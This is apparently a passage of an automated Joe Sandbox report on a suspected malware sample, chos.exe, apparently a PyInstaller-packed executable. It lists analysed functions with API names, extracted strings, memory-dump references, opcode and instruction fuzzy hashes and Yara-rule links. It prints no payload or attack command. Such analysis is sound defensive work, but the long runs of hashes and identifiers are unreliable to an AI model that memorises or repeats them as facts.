                                                                                                                                                                                                                                              • Instruction ID: 64b0ebe4845d27a952939ca9b8e47ccdfe47e8f0b392977b6834a0947678575d
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CD114F20B0CBC2C2FA5897267651279A1715F887B4F488335E97DCE6D6DE3FB4018B01
                                                                                                                                                                                                                                              Function 00007FF666DEB294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3702945584-0
                                                                                                                                                                                                                                              • Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
                                                                                                                                                                                                                                              • Instruction ID: 615ac51193b0d44b6790de05d67ac4d1dd55df940d7e99e4f1e2f9d09fd48e05
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D6111520E0C387C6FAA863227A5227A91724F95330F488734E97ECE2D2DD3FB4018E41
                                                                                                                                                                                                                                              Function 00007FF666DE6010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: verbose
                                                                                                                                                                                                                                              • API String ID: 3215553584-579935070
                                                                                                                                                                                                                                              • Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                              • Instruction ID: 93e449fd79c9a342b6fc7bbccacc23f56f02a90d21a909fcc7c19ce1032e843e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1B91AD22A08AC6C5E7628E66E85037DB7B1AB50B94F444336DB5D8F3D6DF3EE4058B01
                                                                                                                                                                                                                                              Function 00007FF666DEFC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                                                                                              • API String ID: 3215553584-1196891531
                                                                                                                                                                                                                                              • Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                              • Instruction ID: 68d20840cd13c52f6ce636d6f91d6a352b51e154f3bc3a0aa8cb8f9aa7d25786
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2A819E36E08683C5F7644E25B150278AAB0EB91B48F658235DA0DDF29ADF3FF9019B41
                                                                                                                                                                                                                                              Function 00007FF666DDD6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                                                                                              • String ID: csm
                                                                                                                                                                                                                                              • API String ID: 2395640692-1018135373
                                                                                                                                                                                                                                              • Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                              • Instruction ID: 75352de53d19bd931c6f27d330535d147ff8730528c83e9a8f3c7933a4d02445
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B1517032A19642DADF15AF15F444A7867B1EB54B98F114234DA4A8F788EF7EE841CF00
                                                                                                                                                                                                                                              Function 00007FF666DDEF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CallEncodePointerTranslator
                                                                                                                                                                                                                                              • String ID: MOC$RCC
                                                                                                                                                                                                                                              • API String ID: 3544855599-2084237596
                                                                                                                                                                                                                                              • Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                              • Instruction ID: ca6196c17297d2878942c6bd9621b94790d593143f2afe29ef1bb1f412659e6b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 14615B72908BC5C1EB60AB15F4403AAB7A0FB95B98F044235EA9C8BB95DF7DD194CF00
                                                                                                                                                                                                                                              Function 00007FF666DDF2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                                                                                                                                                                                              • String ID: csm$csm
                                                                                                                                                                                                                                              • API String ID: 3896166516-3733052814
                                                                                                                                                                                                                                              • Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                              • Instruction ID: fcc104d4dc3769fcbb9f576f3b858e67d883da737c3fc65644cd5a59d25cb6e8
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3D517F32908382C6EB64AF25E54427876B0EB95B98F189335DA9D8F799CF3DE450CF01
                                                                                                                                                                                                                                              Function 00007FF666DD2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message
                                                                                                                                                                                                                                              • String ID: ERROR$Error$[PYI-%d:%ls]
                                                                                                                                                                                                                                              • API String ID: 2030045667-255084403
                                                                                                                                                                                                                                              • Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                              • Instruction ID: 19e518cc5f03ca846ab123d67236114579422530657a9bf800e70a47c1c1ff92
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B521A172B08B81D2E7209B54F8447EA63B4EB88784F404236EA8D9F655DE3DD645CB40
                                                                                                                                                                                                                                              Function 00007FF666DEC610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2718003287-0
                                                                                                                                                                                                                                              • Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                              • Instruction ID: 0084bf20b82fb0c057b0e893e9a4f66473e25c24cd126e81745f07eb041b5500
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4DD10372B18A81CAE710CF65E4402AC7BB1FB44798B448336DE6D9FB99DE39D006CB40
                                                                                                                                                                                                                                              Function 00007FF666DD20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: LongWindow$DialogInvalidateRect
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1956198572-0
                                                                                                                                                                                                                                              • Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                              • Instruction ID: e130561b2ebb462236b7f929ccbcbd08a58709e6d61764b387589baf3e1ee3bd
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0311A921A1C546C2F654A76AF6442795271EFC87C4F488230DB494FB99CD3FD5D58F00
                                                                                                                                                                                                                                              Function 00007FF666DF5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: ?
                                                                                                                                                                                                                                              • API String ID: 1286766494-1684325040
                                                                                                                                                                                                                                              • Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
                                                                                                                                                                                                                                              • Instruction ID: 5edc187f98dda19408bb26642a1cd7acd7df246fda081fac12f50c1828fc7b4c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D941C732A08682C6FB649B25B44537967B0EBE0BA4F148335EE5D8EAD5DE3ED441CF00
                                                                                                                                                                                                                                              Function 00007FF666DE9084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DE90B6
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: GetLastError.KERNEL32(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9D8
                                                                                                                                                                                                                                              • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF666DDCC15), ref: 00007FF666DE90D4
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                              • API String ID: 3580290477-1382981800
                                                                                                                                                                                                                                              • Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
                                                                                                                                                                                                                                              • Instruction ID: 5f7fdb6e50b89d065cd602caa8ef6b1f74dae50049a71ae3fe3091a9b69a16c6
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FB416032A09B92C6EB14DF25F8400BDA7B4EF45BD4B954136E94D8FB85DE3EE4818B40
                                                                                                                                                                                                                                              Function 00007FF666DECCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                              • String ID: U
                                                                                                                                                                                                                                              • API String ID: 442123175-4171548499
                                                                                                                                                                                                                                              • Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                              • Instruction ID: c43b2c6a0e767b998898c6844a5d05d3ab17615e6fc186f30b1fcc3db75609b5
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2A418262B18A85C5DB209F25F4443A9AB74FB98794F444131EA4DCB798EF3ED441CB40
                                                                                                                                                                                                                                              Function 00007FF666DEF628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentDirectory
                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                              • API String ID: 1611563598-336475711
